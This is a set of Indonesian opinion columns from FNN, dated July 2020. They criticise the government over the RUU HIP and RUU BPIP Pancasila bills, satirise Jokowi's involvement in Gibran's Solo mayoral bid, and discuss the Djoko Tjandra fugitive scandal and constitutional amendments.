by M Rizal Fadillah Jakarta FNN – Sabtu (18/07). Lagi lagi penyelundupan ide penafsiran Pancasila ala Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) yang bersemangat dan berpegang pada Pancasila 1 Juni 1945. Pada RUU BPIP pun spirit dan semangat tersebut masih membekas. Meski tak berani terang-terangan.Akan tetapi RUU yang dinilai "asal asalan" namun memliki "hidden agenda" ini, nampaknya tak bisa juga melepaskan diri dari spirit rumusan Pancasila 1 Juni 1945. Sebab Jika tujuan hanya untuk membuat payung hukum bagi Badan Pembina Ideologi Pancasila (BPIP), maka sebenarnya tidak harus ditetapkan dalam bentuk "Undang-Undang". BIPI cukup dengan "Perpres" saja. Faktanya status BPIP hanya merupakan badan "pembantu" Presiden. Tidak lain dan tidak bukan. Tidak lebih dari pembantu presiden. Terlalu tinggi untuk diatur dalam sebuah Undang-Undang. Terlalu berlebihan energi bangsa ini hanya dikuras membuat undang-undang sebagai paying hukum untuk BPIP. RUU BPIP yang diajukan Pemerintah dalam Konsideran "Menimbang" menempatkan Pancasila 1 Juni 1945 tetap menjadi sandaran utama menuju ke pembinaan Pancasila. Bahkan ditempatkan "sangat luhur" yakni pada butir a. yang berbunyi : "bahwa Pancasila sebagai dasar dan ideologi Negara Republik Indonesia yang hari lahirnya telah ditetapkan 1 Juni 1945 harus diketahui asal usul oleh bangsa Indonesia dari waktu ke waktu dan dari generasi ke generasi, sehingga kelestarian dan kelanggengan Pancasila senantiasa diamalkan dalam kehidupan bermasyarakat, berbangsa, dan bernegara" Sangat jelas ada nilai "lestari" dan "langgeng" serta "asal usul" Pancasila, yang tak lain adalah Pancasila 1 Juni 1945 yang harus diamalkan. Inilah penyelundupan pada tahap awal. Lalu lihat format selanjutnya RUU BPIP ini. Masih dalam hal "Menimbang" butir pada b, yang memformulasi narasi perkembangan Pancasila hingga 22 Juni 1945 dan finalnya pada 18 Agustus 1945 berujung pada kalimat : "..dan merupakan satu kesatuan proses lahirnya Pancasila sebagai dasar negara sebagaimana tersebut di dalam Keputusan Presiden No. 24 tahun 2016 tentang Lahirnya Pancasila". Kita telah mengetahui bahwa fokus dari Kepres di atas tak lain adalah Pancasila 1 Juni 1945. Dengan rumusan Pancasila, yaitu Nasionalisme (Kebangsaan Indonesia), Internasionalisme (Perikemanusiaan), Mufakat atau Demokrasi, Kesejahteraan Sosial, serta Ketuhanan yang Berkebudayaan. Sangat jelas bahwa landasan filosofis dan yuridis dari RUU BPIP tetap Pancasila 1 Juni 1945. Meskipun untuk pengertian Pancasila tidak dapat menghindarkan diri dari rumusan sebagaimana yang tertuang dalam Pembukaan UUD 1945. RUU BPIP disebut "asal-asalan" karena singkat sekali hanya VII Bab dan 17 Pasal. Yang betul betul berkaitan dengan BPIP sendiri hanya Bab IV, Bab V dan Bab VI. Sementara Bab VII Penutup dan Bab I tentang Ketentuan Umum. Bab II Asas dan Tujuan. Sedangkan Bab III dapat disebut "out of position" tidak relevan dengan BPIP. Mengingat bahwa RUU BPIP adalah "buntut" dari RUU HIP dan RUU HIP tersebut telah menggoncangkan bangsa dan negara dengan penyelundupan ide komunisme, maka sudah tepat dan layak jika masyarakat tetap keberatan akan keberadaan BPIP dan RUU BPIP nya. Oleh karena itu sangat beralasan pula jika seruan rakyat masih konsisten pada "Bubarkan BPIP" dan "Tolak RUU BPIP". Jika Pemerintah dan DPR masih juga memaksakan, maka patut disimpulkan bahwa "hidden agenda" memang terbukti, dan sedang dijalankan. Rakyat berhak bersikap. Penulis adalah Pemerhati Politik dan Kebangsaan.

Pak Jokowi, Posko Pemenangan Gibran Bikin di Istana Saja

by Asyari Usman Jakarta FNN - Sabtu (18/07). Preseden baru dari Presiden kalian. Mulai hari ini, seorang presiden boleh mengurus pilkada keluarganya di Istana Negara. Jokowi mendobrak taboo penggunaan fasilitas negara untuk membahas ambisi politik anak-menantu. Kemarin, 16 Juli 2020, Presiden Jokowi memanggil calon walikota yang didukung DPC PDIP Solo, Achmad Purnomo, ke Istana Negara. Kepada Purnomo, Jokowi mengatakan bahwa Gibran Rakabuming Raka adalah orang yang direkomendasikan oleh pimpinan PDIP untuk maju menjadi calon pilwalkot Solo. Pasanganya Teguh Prakoso. Beginilah seharus seorang presiden yang mengutamakan kepentingan rakyat. Dan begini inilah teladan yang diperlukan oleh para pemilih Jokowi. Presiden yang inspiratif. Presiden yang mengutamakan keluarga. Jokowi adalah presiden yang efisien. Penggunaan istana untuk urusan politik anak-menantu adalah tindakan yang menghemat waktu dan biaya. Sangat pantas diapresiasi. Istana Negara itu memang harus dimanfaatkan untuk sebesar-besar kepentingan anggota keluarga yang bakal menjadi aset besar bangsa. Gibran adalah aset bangsa. Dia harus diberi peluang untuk menunjukkan bahwa dia adalah aset. Bibit-bibit pemimpin yang hebat dari keluarga Jokowi pantas difasilitasi. Gibran bisa meneruskan kiprah Jokowi. Ini perlu diusahakan oleh pemilih Jokowi. Sebab, sebuah negara yang terus-menerus dalam keadaan kacau yang berkesinambungan adalah proses yang diperlukan untuk menguji kesabaran suatu bangsa. Beruntungkah bangsa Indonesia. Anda, para pemilih Jokowi, memiliki kelestarian sistem pengujian kesabaran itu. Jokowi telah meletakkan dasar yang kuat untuk kontinuitas sistem uji kesabaran. Jadi, para pemilih Jokowi sangat memerlukan kelanjutan kepemimpinan mantan walikota Solo itu. Sekarang, Gibran akan berkesempatan untuk mengikuti jejak Jokowi. Yang juga akan dimulai dari Solo. Jika Gibran berhasil menjadi walikota, beberapa tahun kemudian bisa dibawa oleh PDIP ke Jakarta. Untuk menjadi gubernur DKI. Setelah itu, tentunya dikawal terus untuk dijadikan Presiden Gibran. Sehingga, kehebatan Jokowi memimpin negara ini bisa dilanjutkan anaknya. Pendapat atau aturan bahwa Istana Negara tidak boleh digunakan untuk urusan pilkada keluarga Presiden adalah pendapat dan ketentuan yang sudah usang. Jokowi melakukan terobosan dahsyat. Ini akan berdampak luar biasa. Tindakan yang dilakukan Jokowi adalah salah satu cara untuk menghemat biaya pilkada. Dalam rangka membantu realisasi ambisi anak-anaknya, Jokowi tidak perlu berpergian ke Solo atau ke tempat lain. Tidak usah keluar dari Istana. Semua dilakukan di Istana. Pada saatnya nanti, posko pemenangan Gibran dibikin di Istana saja. Pak Prabowo bisa itu diangkat menjadi ketua tim pemenangan. Soalnya beliau masih ada jugalah pendukungnya di sana-sini. Organ-organ pemerintah di Istana juga bisa dikerahkan untuk membantu Gibran. Tidak masalah. Sebab, ini soal aset bangsa. Pokoknya semua satu atap. Ada baiknya juga pelantikan Girban sudah mulai disiapkan dari sekarang. KPU pasti tahulah itu caranya. Selagi Om Arief Budiman masih di sana, Girban santai saja. Aman itu, Pak[] Penulis adalah Wartawan Senior

Skandal Djoko Tjandra Dan Integritas Penegak Hukum

by Dr. Abdullah Hehamahua Jakarta FNN – Jum’at (17/07). Gubernur Hong Kong, Sir Murray Mac Lehose tahun 1974, membentuk KPK. Lembaga ini bernama Independent Agency Against Corruption (ICAC). Tugas pertama adalah membersihkan kepolisian dari korupsi. Sebab, waktu itu Jenderal Polisi, Peter Fitzroy Godber memiliki rekening gendut U$ 600.000. Uangnya disimpan di bank Kanada. Dia juga punya asset senilai senilai 4,3 juta dollar Hong Kong. ICAC berhasil menangkapnya. Namun, penangkapan Wakil Kepala Polisi Kowloon itu telah memicu bawahannya menggerebek kantor ICAC. Komisioner ICAC bergeming. ICAC dalam waktu relative singkat menangkap 247 koruptor. Sebanyak 143 orang adalah polisi. ICAC lalu menjadi ‘role model’ proses pemberantasan korupsi di dunia. Pejabat dan pegawai KPK biasa mengunjungi kantor ICAC. Pimpinan ICAC biasa juga bertandang ke kantor KPK. Drama Djoko Tjandra Publik dihebohkan dengan berita Djoko Tjandra. Buronan 11 tahun ini mengajukan Peninjauan Kembali (PK). Tragisnya, Djoko Tjandra bisa menghadiri sidang PK ke Pengadilan Negeri Jakarta Selatan, 8 Juni 2020. Dahsyatnya lagi, Djoko bisa membuat e-KTP di Kelurahan Grogol Selatan, Jakarta Barat pada tanggal 8 Juni pagi. Djoko Tjandra disambut langsung oleh Lurah Grogol Selatan di Kantor Kelurahan. KTP-nya selesai hanya dalam waktu dua jam. Tanggal 23 Juni 2020, Djoko membuat paspor di Kantor Imigrasi Jakarta Utara. Anehnya, Djoko sudah menjadi warga negara Papua Nugini, pada Juni 2009. Namun bisa mendapatkan e-KTP dan diberikan Paspor oleh Imigrasi Jakarta Utara. Bagaimana Djoko yang buron bisa masuk Indonesia tanpa ditangkap ? Apakah hal tersebut disebabkan ketidak-tertiban adminstrasi Imigrasi dan aparat penegak hukum.? Mungkin juga tidak ada kordinasi antar instansi terkait sehingga Djoko bisa leluasa memiliki e-KTP. Datang sendiri ke Pengadilan, dan membuat paspor tanpa ditangkap. Menurut Juru Bicara Ditjen Imigrasi, Arvin Gumilang, Djoko tidak pernah tercatat masuk ke Indonesia. Ada dua kemungkinan. Pertama, Djoko masuk Indonesia tanpa melalui imigrasi. Beliau bisa melalui jalan tikus di perbatasan Papua Nugini dan Papua. Kedua, Djoko masuk Indonesia dengan menggunakan nama lain sehingga tidak terditeksi di Imigrasi. Apalagi, imigrasi sudah menghapus nama Djoko dari daftar pengawasan pada 13 Mei lalu. Alasannya, interpol sudah menghapus status red notice untuk Djoko. Arvin Gumilang menyebut pihak Imigrasi baru menerbitkan status cekal untuk Djoko, 27 Juni lalu. Setelah kejaksaan memasukkan nama buron itu ke Daftar Pencarian Orang (DPO). Kesimpulan pertama, kelalaian Kejaksaan yang membiarkan nama Djoko terhapus dalam senarai DPO. Kemungkinan Ada KKN? Pejabat atau karyawan yang tidak berintegritas? Tanyakan sendiri ke rumput yang bergoyang. Bencana baru menimpa dunia penegakkan hukum Indonesia ketika terpublikasi berita, Djoko Tjandra mendapat surat tugas dari Bareskrim (18 Juni) untuk meninggalkan Jakarta menuju Pontianak. Aneh bin ajaib. Pengadilan Negeri Jakarta Selatan menggelar sidang pengadilan PK bagi seorang boron, 29 Juni 2020. Apakah pejabat Pengadilan tidak tau kalau Djoko seorang buron.? Ada KKN atau pegawai Pengadilan yang tidak berintegritas.? Tanyakan juga ke rumput yang bergoyang. Anehnya lagi, Jaksa Agung mendapat informasi kalau Djoko Tjandra sudah berada di Jakarta selama tigabulan. Lagi-lagi masalah integritas aparat penegak hukum menjadi taruhan. Terbayang kenangan, bagaimana SOP, Kode Etik, dan Peraturan Kegawaian KPK menjadi “malaikat” pengawas dalam balutan integritas setiap insan yang bekerja di KPK. Tangkap Jenderal Polisi Pertama kali mengikuti Rapim KPK (Maret 2005), saya mengusulkan agar ditangkap beberapa jenderal polisi, baik yang di Mabes maupun Polda. Sebab, KPK Hong Kong memulai debutnya dengan menangkap Jenderal Polisi Hongkong. Namun, sanggah seorang komisioner, “Jaksa Hong Kong relative baik, dan hakimnya diimpor dari Inggeris. Indonesia, ketiga lembaga tersebut bermasalah sehingga tidak bisa meniru pola KPK Hong Kong,” katanya. Saya terdiam. Kalau begitu, gaji kepolisian dinaikkan minimal 100%. Sebab, salah satu penyebab korupsi di kalangan PNS, termasuk instansi penegak hukum adalah gaji yang sangat rendah. Candaan saya ketika menjadi narasumber di Bimtek DPRD dan Kementerian tertentu: “PNS yang jujur akan mengalami ‘kematian’ tiga kali dalam sebulan. Sebab, gaji PNS hanya cukup untuk 10 hari.” (SBY setiap tahun menaikan gaji PNS secara gradual sebagai respons atas rekomendasi KPK). Kemenkeu dalam merespons sikap KPK menyatakan, keuangan negara tidak mampu untuk menaikan gaji kepolisian sebesar 100 persen. Sebab, jumlah mereka relative banyak. Hal yang sama juga berlaku terhadap Kejaksaan. Akhirnya, kebijakan Komisioner KPK (jilid 1), peningkatan gaji PNS dimulai dari para Hakim. Filosofinya, jika bola kejahatan dapat menembus pertahanan kepolisian dan kejaksaan, maka Hakim sebagai penjaga gawang keadilan terakhir, dapat menangkapnya. Apalagi, jumlah Hakim dan Panitera relative kecil sehingga bisa ditanggulangi APBN. KPK pun menetapkan tiga instansi sebagai pilot project: Kemenkeu, MA, dan BPK. Filosofinya, jika bendahara negara kelaparan, uang rakyat dapat dicuri. BPK sebagai eksternal auditor perlu diamankan ‘perut’ mereka. Sehingga bisa independen dalam mengaudit keuangan negara. KPK berdasarkan strategi itu memasuki kompleks MA (2005) melalui kasus Probosutejo. KPK lalu membantu membenahi manajemen MA. Hasilnya, kasus-kasus kasasi yang bertahun-tahun numpuk di meja Hakim Agung, dalam waktu relative singkat, dapat diselesaikan. Bahkan, putusan Pengadilan dapat dipantau di Web MA dalam waktu relative singkat. Sayang, ketika KPK jilid dua, Lembaga ini diobok-obok oleh kasus cicak-buaya, sehingga kelanjutan reformasi birokrasi di Kementerian dan Lembaga, termasuk MA, terabaikan. Wajar, muncul kembali kasus-kasus korupsi yang melibatkan apparat penegak hukum. Kasus terakhir, mantan Sekretaris MA yang ditangkap KPK. Integritas dan Keteladanan Hilang Gus Dur pernah bilang, di kepolisian hanya ada dua orang jujur. Jenderal Hoegeng dan polisi tidur. Candaan Gus Dur tersebut, berlebihan. Sebab, selama delapan tahun di KPK, saya temukan banyak anggota polisi yang hebat-hebat. Apakah mereka adalah anggota polisi terbaik yang direkomendasikan untuk berkiprah di KPK.? Bisa iya, dapat juga tidak. Saya mau berkongsi tentang beberapa anggota polisi yang “hebat” itu. Novel Baswedan dan beberapa Penyidik memasuki ruang kerja saya ketika terjadi kasus cicak-buaya (2007). “Bapak harus pertahankan KPK agar tidak sampai dibubarkan,”. Itu pernyataan Novel yang saya masih ingat. Mengapa? tanya saya. Kalau kami, ‘nothing to lose’, katanya. “Tapi, kami tidak mau jadi orang jahat lagi,” tambahnya. Mereka Tegas! Saya juga terkejut ! Setelah mereka meninggalkan ruanganku. Lalu saya merenung. Penyidik KPK berasal dari Kepolisian yang Mabesnya hanya beberapa kilometer dari Kuningan. Jaksa Penuntut Umum (JPU) dari Kejaksaan Agung yang kantornya juga hampir sama jaraknya dari KPK. Kedua instansi tersebut dianggap bermasalah oleh masyarakat. Hal tersebut juga merupakan alasan, mengapa dibentuk KPK. Saya pun teringat akan tingkah-laku kedua adik ipar saya yang juga anggota polisi. Namun, Penyidik dan JPU yang di KPK, setidaknya pada edisi satu dan dua, hebat-hebat. Mengapa mereka hebat? Penyebabnya, sistem yang diterapkan di KPK berbeda dengan di instansi lain. Di KPK, SOP, Kode Etik, dan Peraturan Kepegawaian dilaksanakan tanpa toleransi. ‘Zero tolerance’. Itulah integritas mereka. Mereka para Penyidik dan JPU ini ketika kembali ke instansi asal, dimana sistem di sana, belum berubah, maka mereka akan kembali lagi ke tradisi lama. Saya lalu paham, apa yang dimaksud dengan pernyataan Novel tadi. Sejak itu, di pelbagai kesempatan, saya selalu sosialisasikan konsep Reformasi Birokrasi yang digaungkan oleh KPK sejak 2005. Saya ketika di ILC, sering dihubungi salah seorang Penyidik KPK. Beliau biasa menyampaikan informasi tentang alasan, bukti, dan dasar hukum, mengapa KPK melakukan begini dan begitu. Poinnya, beliau betul-betul memertahankan nama baik KPK ketika dihajar dari kanan dan kiri panggung pemberantasan korupsi. Seorang anggota polisi yang bertugas di Pengawasan Internal (PI), selantai dengan saya, tidak pernah absen shalat berjamaah. “Pak Abdullah,” sapanya pada suatu kesempatan di mushallah lantai enam. “Seumur hidup, baru di KPK, saya shalat berjamaah empat kali sehari.” Teringat, yang usul agar pengajian ba’da shalat dzuhur, dari dua kali menjadi tiga kali sepekan adalah pegawai dari Kepolisian dan Kejaksaan. Beberapa bulan setelah usul tersebut dilaksanakan, mereka usul agar “di setiap lantai, ba’da shalat ashar, kita baca kitab.” Saya terharu mendengar usul tersebut. Mulailah di lantai enam, setiap ba’da sahalat ashar berjamaah, saya membaca satu dua hadits dari Bhulughul Maraam. Tamat, saya teruskan dengan Nailul Authar. Kedua kitab ini diprioritaskan karena berhubungan dengan hukum. Terakhir, sebelum pensiun, saya membaca Riyadush Shalihin. Sewaktu sudah purna bakti, dan ada cara di KPK, saya diajak shalat ashar berjamaah di mushalla yang sama, lantai enam. Ternyata, tradisi yang saya tinggalkan, masih berlanjut. Mereka membaca kitab Sirah Nabi Muhammad. KPK sudah berumur enam belas tahun. Puluhan alumninya yang sudah kembali ke Kepolisian dan Kejaksaan. Mengapa masih ada kasus di Bareskrim seperti itu? Jawabannya, reformasi birokrasi belum berjalan dan keteladanan pimpinan yang hilang. Semuanya bermuara dari integritas. Apakah ada hubungan di antara Brigjen PU, pembuatan e-KTP, paspor, PK di PN Jaksel, dan pertemuan Presiden dengan adiknya Djoko Tjandra di Papua Nugini? Biarlah ssaja Kompolnas yang mengusutnya. Semoga Penulis adalah Mantan Penasehat KPK

Pemerintahan Kok Seperti Preman?

by M Rizal Fadillah Jakarta FNN – Jum’at (17/07). Rakyat bereaksi terhadap Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP). Rakyat, khususnya umat Islam menilai RUU HIP berbau Komunis, dan membuka peluang bangkitnya neo PKI. Sikap Pemerintah maupun DPR ditunggu masyarakat. Apakah DPR yang akan mencabut RUU HIP melalui rapat Paripurna Dewan? Atau Pemerintah yang menyatakan tidak akan melakukan pembahasan? Masyarakat masih berunjuk rasa di depan Gedung DPR. Masyarakat masih menunggu. Alih-alih mengambil keputusan tentang RUU HIP. Malah seenaknya Pemerintah mengajukan RUU baru yang diberi nama RUU BPIP. Empat Menteri menyerahkan naskahnya kepada Ketua DPR Puan Maharani. Mereka adalah Menkopolhukam Mahfud MD, Menkumham Yasonna Laoly, Mendagri Tito Karnavian, dan Menhan Prabowo Subianto. Penyampaian RUU BPIP dengan begitu saja, jelas merupakan pelecehan kepada rakyat oleh Pemerintah. Bahkan melecehkan DPR RI juga. RUU inisiatif Dewan belum tersikapi secara resmi. Namun usulan baru dari Pemerintah sudah masuk. Pembuldozeran halus. Lucunya Dewan melalui Ketua DPR Puan Maharani sangat bahagia. Anggap remeh aspirasi rakyat, khususnya umat Islam. Padahal sekurangnya ada empat hal yang menunjukkan adanya kesewenang-wenangan dan pengabaian hokum. Pertama, status RUU HIP harus terlebih dahulu jelas. Harus memiliki kepastian hokum. Mau diapakan kelanjutannya? Pemerintah menyatakan masih "menunda" dan DPR masih "menunggu". Ujungnya dibiarkan "mengambang". Penyelenggaraan negara model apa seperti ini? Kedua, RUU BPIP sebagai ajuan Pemerintah adalah RUU baru. Yang semestinya harus masuk dahulu dalam Prolegnas yang disepakati bersama untuk pembahasan yang terjadwal. Tidak boleh "menyalip" RUU yang sudah terlebih dahulu "antri". Ini adalah contoh buruk budaya "main labrak". Pemerintahan ko seperti preman? Ketiga, mengapa mesti empat Menteri mengantar RUU BPIP ini? Secara prosedural cukup diwakili oleh Menteri Hukum dan HAM saja. Pola "unjuk kekuatan" atau "unjuk kekuasaan" dengan mengutus empat Menteri menggambarkan situasi "disorder" atau "tidak normal". Keempat, RUU BPIP tetap kontroversial. Sebab membalikkan prinsip hukum yang benar. Ironi sebuah Undang-Undang dibuat untuk mengatur "wadah" yang lebih dahulu ada. Semestinya Undang-Undang dahulu baru dibuat wadah untuk melaksanakan Undang Undang itu. Ada "pemaksaan" dan dipastikan berkonten "tidak aspiratif". Keberadaan BPIP masih dipertanyakan urgensinya. Desakan agar BPIP dibubarkan juga cukup keras terdengar. BPIP bukanlah kebutuhan "pokok" bagi rakyat saat ini. Lebih pada pemenuhan hasrat penguasa sendiri dan dapat menjadi "mainan ideologi" dalam menafsirkan Pancasila sesuai dengan kemauan Pemerintah. Harusnya Pemerintah dan DPR "colling down" dulu. Apalagi berkaitan dengan RUU HIP yang berbau komunisme tersebut. Sangat kuat tuntutan untuk melakukan pengusutan dugaan adanya penyusup "makar ideologis" pada RUU HIP. Lakukan segera proses politik dan hukum terhadap oknum yang "menunggangi" situasi ini. Pemerintahan Preman adalah Pemerintah yang abai pada prinsip-prinsip Pemerintahan yang baik. Pemerintah yang menganggap enteng aspirasi rakyat. Pemerintah yang mengacak -acak wibawa wakil rakyat. Pemerintah yang memerintah dengan kekuatan alat pemaksa. Memperalat ideologi, serta memanipulasi hukum. BPIP dan RUU BPIP adalah wujud pemaksaan dan keburukan dari rezim yang "false governance", "false public policy" dan "false authority". Itulah rezim Jokowi. Penulis adalah Pemerhati Politik dan Kebangsaan.

Lima Rekomendaasi Untuk MPR Terkait Putusan MA NO 44 P/HUM/2019

by Mayjen TNI (Purn) Prijanto “Amandemen UUD 1945 terkesan menciptakan sistem pemerintahan dan sistem ketatanegaraan yang tidak jelas, rumusan pasal-pasalnya multi interpretative, sehingga bisa menimbulkan instabilitas hukum dan politik”. (Prof. Dr. Dahlan Thaib, 2005, “Nasib kerja Komisi Konstitusi tentang amandemen UUD 1945”) Jakarta FNN – Jum’at (17/07). Untuk memudahkan, maka pembatasan Undang-undang Dasar hasil amandemen dalam artikel ini kita sebut UUD 2002. Sedangkan Data dan Informasi UUD 1945 mengatakan, “Indonesia, ialah Negara yang berdasar atas Hukum (Rechsstaat)”. Pasal 6A (3) UUD 2002 : “Pasangan Calon Presiden dan Wakil Presiden yang mendapatkan suara lebih dari lima puluh persen dari jumlah suara dalam pemilihan umum dengan sedikit-sedikitnya dua puluh persen suara di setiap provinsi yang tersebar di lebih dari setengah jumlah provinsi di Indonesia, dilantik menjadi Presiden dan Wakil Presiden”. (amandemen ke-3) Pasal 6A (4) UUD 2002 : “Dalam hal tidak ada pasangan calon Presiden dan Wakil Presiden terpilih, dua pasangan calon yang memperoleh suara terbanyak pertama dan kedua dalam pemilihan umum dipilih oleh rakyat secara langsung dan pasangan yang memperoleh suara rakyat terbanyak dilantik sebagai Presiden dan Wakil Presiden”. (amandemen ke-4) Putusan MA No. 44 P/HUM/2019, antara lain memutuskan Pasal 3 (7) PKPU 5/2019 bertentangan dengan UU No. 7/2017 dan tidak mempunyai kekuatan hukum mengikat. Komisi Konstitusi bentukan MPR RI tahun 2002 telah melakukan kajian terhadap UUD 2002. Ketua Komisi Konstitusi Prof. Dr. Sri Soemantri, pakar Hukum Tata Negara bersama 30 anggota komisi, telah merampungkan tugasnya, dan hasilnya sudah diserahkan ke MPR RI Baca : Pelantikan Presiden RI 2019 : “Semua bilang kawal konstitusi”. (google). Baca : “Buah RUU HIP Untuk Kontemplasi pada 61 Tahun Dekrit Presiden 5 Juli 1959”. (google) Diskusi dan Interpretasi “Founding fathers and mothers”, menegaskan Negara berdasar atas Hukum. Bukan berdasarkan pada kekuasaan. Artinya, siapapun tidak boleh memanipulasi, menekuk dan membelokan hukum. Pasal 6A (3) UUD 2002, bicara syarat ideal Paslon yang bisa dilantik MPR. Artinya mengikat MPR. Tidak bicara jumlah Paslon. Pasal 6A (3) UUD 2002 lahir di amandemen ke-3. Bagaimana jika syarat ideal tidak tercapai? Dalam amandemen ke-4, lahir ayat (4), memiliki korelasi dengan ayat (3), ayat ini sebagai solusi. Kasus ini, menguatkan dugaan bahwa amandemen UUD 1945 beberapa pasal muncul tanpa naskah akademi, termasuk Pasal 6A ayat (3) & (4) UUD 2002. Jika ada naskah akademinya, ayat (3) & (4) tentu lahir bersamaan. Pengakuan Prof. Dr. Sahetapy, sebagai pengusul tunggal hilangnya kata “asli” pada Pasal 6 UUD 1945 “Presiden ialah orang Indonesia asli”, juga menguatkan dugaan. Mahkamah Konstitusi (MK) melakukan interpretasi Pasal 159 (1) UU 42/2008, yang substansinya seperti Pasal 6A (3) UUD 2002. MK menyatakan tidak berlaku jika Paslon dua pasang (Putusan MK 50/PUU-XII/2014). Putusan MK ini bukan segala-galanya, karena dikesampingkan dengan lahirnya UU 7/2017 Pasal 416 (1), yang mengatur Presiden dan Wapres terpilih sebagaimana Pasal 6A (3) UUD 2002. (Asas “Lex posterior derogat legi priori”) Celakanya, KPU membuat interpretasi lagi. Pasal 3 (7) PKPU Nomor 5/2019 menetapkan Paslon yang memperoleh suara terbanyak sebagai Paslon terpilih, jika hanya ada 2 (dua) Paslon. Sehingga Putusan MA No. 44/HUM/2019 memutuskan peraturan KPU ini bertentangan dengan UU No. 7/2017 dan tidak mempunyai kekuatan hukum mengikat. Putusan MA No.44/HUM/2019 melahirkan perdebatan. Diskusi silang pendapat dan berbagai interpretasi terhadap pasal dan ayat dalam UUD 2002 dan peraturan lainnya. Sesungguhnya, jika ingin menegakkan aturan terkait Pilpres 2019, masih panjang dan berliku-liku. Penetapan KPU soal Presiden terpilih, sebagai norma khusus, apa perlu diuji legalitasnya di PTUN? Sebagian berpendapat untuk apa? Pemborosan saja. Toh norma umum sudah ada Putusan MA. Di akhir Pilpres, kedua Paslon juga tidak memenuhi Pasal 6A (3) UUD 2002. Apa perlu Pilpres tahap kedua? Tentu ini juga pemborosan. Inilah format dalam UUD 2002. Sukakah kita? Akankah UUD 2002 akan terua kita pertahankan ? Artikel ini tidak membahas penegakan hokum. Tetapi ingin menyampaikan bahwa, Putusan MA tersebut membuka cakrawala. Adanya interpretasi pasal dalam UUD 2002. Benar Prof. Dr. Dahlan Thaib di atas : “….. rumusan pasal-pasalnya multi interpretative, sehingga bisa menimbulkan instabilitas hukum dan politik”. Rekomendasi Untuk MPR Apabila rakyat Indonesia yakin Pancasila sebagai Dasar Negara, pasal-pasal UUD 2002 tidak koheren dengan nilai-nilai Pancasila dan multi interpretative, sehingga menimbulkan instabilitas hukum, politik dan robeknya persatuan. Maka demi bangsa dan negara, ada 5 (lima) rekomendasi untuk MPR RI, dengan Pasal 3 dan Pasal 37 UUD 2002 sebagai jisa kewenangannya : Pertama, hendaknya mempelajari hasil kajian Komisi Konstitusi bentukan MPR RI tahun 2002, dan dari elemen masyarakat, terkait UUD 2002. Menyerap pendapat para pakar Hukum Tata Negara dari kaum akademisi, terkait situasi negara saat ini. Setelah kita menggunakan UUD 2002. Kedua, hendaknya segera mengambil langkah konstruktif dan konstitusional. Apabila situasi negara buruk, itu diakibatkan UUD 2002. Tidak perlu ragu, merasa bersalah, dan ewuh pakewuh. Jika harus Kembali ke UUD 1945 untuk disempurnakan dengan cara memberikan adendum, agar nilai-nilai, cita-cita dan tujuan ketika mendirikan “Indonesia Merdeka” tetap lestari. Ketiga, seyogyanya buku “Panduan Pemasyarakatan Undang-Undang Dasar” MPR RI, tidak hanya buku seputar UUD 2002. Perlu buku pendamping, seperti kajian Komisi Konstitusi, kajian Foko Purnawirawan TNI-POLRI, pendapat para tokoh dari Gerakan Kebangkitan Indonesia (GKI) yang sudah pernah disampaikan kepada MPR RI. Tujuannya, agar rakyat paham dan bisa melakukan penilaian. Keempat, membentuk Komisi Konstitusi dengan anggota non partisan dan tidak pernah terlibat amandemen. Tugasnya mengkaji lebih lanjut UUD 2002, dikaitkan dengan dampak setelah digunakan untuk bernegara. Penyempurnaan UUD 1945 dengan adendum dan menguji aturan perundang-undangan turunan dari UUD 2002. Kelima, menerima aspirasi masyarakat yang berkaitan dengan konstitusi secara periodik. Acara ini bak “Tapa Pepe” kearifan lokal Raja Jawa dan menunjukkan masyarakat berhak bicara konstitusi. Semoga persoalan bangsa ini bisa dipahami semua pihak. Termasuk para Ketum Parpol, politisi, kaum intelektual dan masyarakat umumnya. Insya Allah, amin. Penulis adalah Wagub DKI 2007-2012 & Rumah Kebangkitan Indonesia.

RUU HIP Jadi RUU BPIP, Umat Minta BPIP Dibubarkan!

by Tony Rosyid Jakarta FNN – Jum’at (17/07). Baca pandangan dan sikap PBNU pada poin 8: "Bahwa obsesi untuk menafsirkan Pancasila secara ekspansif akan menimbulkan ekses negatif berupa menguatnya kontrol negara dalam kehidupan masyarakat. Penguatan eksesif kelembagaan BPIP dapat melahirkan kembali BP7 (Badan Pembinaan Pendidikan Pelaksanaan Pedoman Penghayatan dan Pengamalan Pancasila) di zaman Orde Baru, yang prakteknya menjadi alat sensor ideologi masyarakat. Pancasila yang terlalu ambisius akan kehilangan roh sebagai ideologi pemersatu, yang pada gilirannya dapat menimbulkan benturan-benturannorma dalam masyarakat". Jelas, PBNU khawatir adanya BPIP justru menibulkan beberapa hal. Pertama, akan menjadi lembaga kontrol atas nama pancasila dan negara terhadap kehidupan masyarakat. Ini sangat berbahaya. Bisa menjadi "Orba Gaya Baru" (OGB). Kedua, BPIP berpotensi digunakan sebagai alat untuk menggebuk lawan-lawan politik pemerintah. Ketiga, hadirnya tafsir Pancasila ala BPIP bisa memicu kegaduhan dan konflik sosial baru. Keempat, nantinya BPIP merasa paling benar sendiri dalam menafsirkan Pansila. Dikhawatirkan nantinya Pancasila BPIP adalah yang tanggal 1 Juni 1945. Bukan Pancasila 18 Agustus 1945. Ini bisa menimbulkan keributan antara masyarakat, khususnya umat Islam dengan BPIP. Tanpa adanya UU saja sudah bikin gaduh di masyarakat. Apalagi jika ada UU-nya. Bisa semakin gaduh. Inilah yang dikhawatirkan oleh masyarakat. Kekhawatiran ini masuk akal, melihat sejarah masa lalu, khususnya BP7. Kekhawatiran ini ditambah gaya BPIP sekarang yang merasa paling benar saja dalam segala urusan yang berkaitan dengan Pancasila. Poin No 8 dari pandangan dan sikap PBNU seolah menyuarakan pesan: “bubarkan saja BPIP. Nggak dibutuhkan itu BPIP”! Persoalan ini juga yang menjadi rekomendasi Konggres Umat Islam Indonesia (KUII) V yang diselenggarakan MUI di Bangka Belitung. KUII ke V minta BPIP untuk dibubarkan. Eh, sekarang malah mau dibuat RUU untuk BPIP. Tambah ngaco lagi. Ketika RUU HIP ditolak, lalu ganti nama RUU BPIP, ini menimbulkan sejumlah analisis. Pertama, pemerintah dan DPR dianggap gagal paham. Kenapa? Yang ditolak umat Islam bukan "nama" atau "istilah" yang dipakai RUU. Bukan itu! Yang ditolak umat Islam adalah keseluruhan, yang meliputi proses, substansi, motif dan potensi konfliknya. Kedua, perubahan nama dari RUU HIP ke RUU BPIP sengaja dibuat untuk menggeser isu komunisme ke isu otoritarianisme. Melekat 